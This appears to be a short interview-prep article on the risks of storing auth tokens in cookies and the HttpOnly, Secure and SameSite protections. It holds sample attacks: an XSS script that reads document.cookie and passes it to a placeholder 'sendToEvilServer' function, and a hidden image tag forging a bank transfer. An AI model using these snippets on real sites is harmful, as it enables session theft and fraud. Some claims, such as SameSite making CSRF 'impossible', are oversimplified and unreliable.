Storing tokens in cookies carries several risks:
// ❌ Risks of storing tokens in cookies:
// document.cookie = 'token=abc123'; // Vulnerable to XSS
// ✅ Better — use HttpOnly + Secure + SameSite
// Set-Cookie: token=abc123; HttpOnly; Secure; SameSite=StrictStoring tokens in cookies is like keeping house keys in a jacket pocket. Convenient, but if someone steals the jacket or reaches into the pocket — keys are gone! 🔑
// ❌ Problem — if site vulnerable to XSS:
<script>
// Attacker steals all cookies
const tokens = document.cookie;
sendToEvilServer(tokens); // Sends tokens to themselves
</script>
// Result: authorization tokens stolen!// ❌ Problem — browser automatically sends cookies:
<img src="https://bank.com/transfer?to=evil&amount=1000" style="display:none">
// If user logged in bank,
// browser automatically sends cookie with token!
// Transfer might succeed without user knowing!// ❌ Problem — cookie can end up in logs:
// Request: GET /api/data HTTP/1.1
// Cookie: token=abc123; user=john
// Now token in server logs!
// If logs compromised — tokens stolen!// ✅ Protection from XSS:
// Set-Cookie: token=abc123; HttpOnly; Secure
// JavaScript DOESN'T see this cookie!
// Even with XSS attack, token won't be stolen// ✅ Protection from CSRF:
// Set-Cookie: token=abc123; HttpOnly; Secure; SameSite=Strict
// Cookie sent only with requests from same site!
// CSRF attacks become impossible// ✅ HTTPS only:
// Set-Cookie: token=abc123; HttpOnly; Secure
// Cookie sent only over secure connection// ✅ Alternative:
localStorage.setItem('token', 'abc123');
// ❌ But also vulnerable to XSS!
// Need additional protection measures// ✅ Modern approach:
// Authorization: Bearer abc123
// Token sent in headers, not cookie
// Better controlled and more secure// ✅ Possible if:
// Set-Cookie: token=abc123; HttpOnly; Secure; SameSite=Strict; Path=/
// - HttpOnly — protection from XSS
// - Secure — HTTPS only
// - SameSite — protection from CSRF
// - Path — path restriction// ✅ Suitable for:
// - Session tokens
// - Refresh tokens
// - Temporary authorizations// ❌ Bad:
document.cookie = 'authToken=abc123'; // No protection!
// ✅ Better:
// Set-Cookie: authToken=abc123; HttpOnly; Secure; SameSite=Strict// ❌ Bad — part tokens in cookie, part in localStorage
// Creates confusion and additional risks
// ✅ Better — unified approach to token storageUnderstanding risks of storing tokens in cookies helps create more secure applications! 💪
Want more articles to prepare for interviews? Subscribe to EasyAdvice, bookmark the site and improve yourself every day 💪